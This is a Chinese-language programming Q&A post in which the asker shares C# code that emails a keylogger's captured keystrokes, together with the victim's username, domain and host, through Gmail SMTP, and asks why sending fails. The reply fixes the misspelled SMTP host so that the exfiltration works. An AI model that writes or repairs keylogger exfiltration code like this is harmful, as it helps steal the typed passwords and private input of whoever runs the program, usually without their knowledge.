C# 系统smtp异常

我正在使用键盘记录器将钥匙发送到我的电子邮件，我遇到了一个问题。我使用的是visual studio C#，当我运行该程序时，会出现一个异常“System.Net.Mail.SmtpException:'发送邮件失败'。” 这个问题有解决办法吗？ 这是我的密码：

    ... emailBody += "\nUser: " + Environment.UserDomainName + " \\ " + Environment.UserName;
        emailBody += "\nhost " + host;
        emailBody += "\ntime: " + now.ToString();
        emailBody += logContents;

        SmtpClient client = new SmtpClient("smpt.gmail.com", 587);
        MailMessage mailMessage = new MailMessage();

        mailMessage.From = new MailAddress("email address");
        mailMessage.To.Add("email address");
        mailMessage.Subject = subject;
        client.UseDefaultCredentials = false;
        client.EnableSsl = true;
        client.Credentials = new System.Net.NetworkCredential("my email address", "my password");
        mailMessage.Body = emailBody;

        client.Send(mailMessage);

用于SMTP事务的主机错误。您需要将其修改为

smtp.gmail.com

，而不是

smpt
